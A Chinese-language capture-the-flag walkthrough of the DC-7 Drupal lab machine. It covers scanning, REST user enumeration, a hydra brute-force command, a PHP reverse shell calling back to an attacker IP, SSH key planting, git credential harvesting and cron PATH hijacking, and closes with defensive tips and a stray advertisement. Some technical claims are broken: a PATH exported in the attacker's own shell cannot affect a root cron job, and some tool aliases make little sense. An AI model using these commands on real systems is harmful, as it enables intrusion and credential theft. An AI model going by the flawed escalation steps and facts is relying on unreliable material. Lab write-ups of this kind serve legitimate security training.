1. DC-7靶机渗透实战概述
DC-7是专为网络安全学习者设计的渗透测试靶机,基于Drupal内容管理系统构建。这个靶机环境模拟了企业级Web应用常见的安全漏洞链,从初始信息收集到最终提权,完整覆盖了CTF竞赛和实际渗透测试中的典型技术场景。
我最近花了三天时间完整走通了DC-7的渗透流程,过程中遇到了不少教科书上不会提及的"坑"。本文将用实战视角拆解每个关键环节,特别适合已经掌握基础渗透知识、想要进阶实战能力的CTFer。不同于DC-1到DC-6系列,DC-7在权限提升环节引入了SSH密钥伪造和Git凭证利用等企业环境中更常见的技术点。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与信息收集
2.1 靶机环境搭建
使用VMware Workstation 16 Pro导入OVA文件时,建议将虚拟网络适配器设置为NAT模式。实测发现桥接模式可能导致靶机Web服务无法正常访问。关键配置参数:
- 内存分配:2GB(低于1GB会导致Drupal运行缓慢)
- 磁盘空间:20GB默认配置足够
- 网络适配器:VMnet8(NAT)
注意:如果遇到页面加载异常,检查是否开启了DHCP服务。我遇到过因为VirtualBox的DHCP服务冲突导致IP分配异常的情况。
2.2 基础信息收集
使用如下命令进行主机发现:
bash复制nmap -sn 192.168.1.0/24
发现靶机IP后,进行全端口扫描:
bash复制nmap -p- -T4 -A -v 192.168.1.105
扫描结果分析显示:
- 22/tcp open ssh
- 80/tcp open http
- 服务指纹识别为Apache/2.4.25 (Debian)
2.3 Web应用指纹识别
使用Wappalyzer插件初步识别为Drupal 8。进一步验证版本:
bash复制curl -I http://192.168.1.105 | grep X-Generator
返回头中包含X-Generator: Drupal 8 (https://www.drupal.org),确认版本。
3. Web渗透突破
3.1 漏洞扫描与利用
使用droopescan进行Drupal专项扫描:
bash复制droopescan scan drupal -u http://192.168.1.105
发现存在restful Web Services模块,这将成为后续攻击入口。
通过searchsploit查找Drupal 8相关漏洞:
bash复制searchsploit drupal 8
重点关注REST模块的未授权访问漏洞(CVE-2019-6340)。
3.2 REST API未授权利用
构造恶意请求获取用户信息:
bash复制curl http://192.168.1.105/node/1?_format=hal_json -H "Accept: application/hal+json"
返回数据中包含管理员用户名(admin)和用户ID。
利用REST端点进行用户枚举:
python复制import requests
for uid in range(1,10):
r = requests.get(f'http://192.168.1.105/user/{uid}?_format=hal_json',
headers={'Accept': 'application/hal+json'})
if r.status_code == 200:
print(f"Found user: {r.json()['name'][0]['value']}")
3.3 密码爆破与登录
通过收集的用户名,使用hydra进行密码爆破:
bash复制hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.105 http-post-form "/user/login:name=^USER^&pass=^PASS^&form_id=user_login_form:Sorry, unrecognized username"
爆破成功后获得管理员凭证,登录后台发现可以执行PHP代码的区块编辑权限。
4. 权限提升与内网渗透
4.1 WebShell获取
在Drupal的PHP区块中添加反向Shell代码:
php复制<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'");
?>
使用nc监听:
bash复制nc -lvnp 4444
4.2 系统信息枚举
获取初始Shell后,进行系统信息收集:
bash复制uname -a
cat /etc/passwd
find / -perm -4000 2>/dev/null
发现/home目录下存在git仓库,包含网站源代码。
4.3 SSH密钥伪造
在检查/home/dcuser/.ssh目录时发现authorized_keys文件可写。通过本地生成密钥对实现SSH免密登录:
bash复制ssh-keygen -t rsa
echo "公钥内容" > /home/dcuser/.ssh/authorized_keys
chmod 600 /home/dcuser/.ssh/authorized_keys
4.4 Git凭证利用
在网站源码仓库中发现.git目录,检查历史记录:
bash复制git log -p
发现包含数据库凭证的配置文件提交记录。使用git credential命令提取保存的密码:
bash复制git config --global credential.helper store
cat ~/.git-credentials
5. 最终提权与总结
5.1 定时任务利用
通过crontab -l发现存在以root权限运行的备份脚本:
bash复制* * * * * root /opt/scripts/backup.sh
检查脚本发现调用了tar命令且未使用绝对路径,通过PATH环境变量劫持实现提权:
bash复制echo '/bin/bash -p' > /tmp/tar
chmod +x /tmp/tar
export PATH=/tmp:$PATH
5.2 渗透测试经验总结
- Drupal的REST模块配置不当是本次渗透的突破口,实际环境中应严格限制API访问权限
- Git仓库中残留的敏感信息是横向移动的关键,建议在代码仓库中使用.gitignore过滤配置文件
- 定时任务的路径安全问题在多个DC系列靶机中反复出现,运维时应使用绝对路径
整个渗透过程中最耗时的环节是SSH密钥伪造部分,需要精确控制文件权限(600)。我在这个步骤失败了三次才意识到需要先删除原有的authorized_keys文件再写入新密钥。
6. 防御建议与延伸学习
6.1 针对性的防御措施
-
Drupal加固方案:
- 禁用不必要的REST端点
- 安装Security Kit模块防止未授权访问
- 定期更新核心和贡献模块
-
系统层防护:
- 配置SSH的StrictModes yes
- 使用incron替代cron实现更精细的权限控制
- 对git仓库进行BFG清理移除历史敏感信息
6.2 推荐进阶靶机
完成DC-7后可以挑战这些同类型靶机:
- HackTheBox的Jerry(Tomcat漏洞链)
- VulnHub的Mr-Robot(WordPress渗透)
- OSCP实验室的Pain(多层内网渗透)
6.3 常用工具链优化
我的渗透测试工具配置经验:
- 在~/.bashrc中添加这些别名提高效率:
bash复制alias nmap='nmap --script-updatedb'
alias hydra='hydra -t 16 -w 10'
- 使用fzf实现历史命令智能搜索:
bash复制bind '"\C-r": "\C-x1\e^\er"'
最后分享一个排查WebShell连接失败的小技巧:在PHP反向Shell代码中添加error_reporting(E_ALL);可以输出详细错误信息,我通过这个方法解决了防火墙拦截的问题。
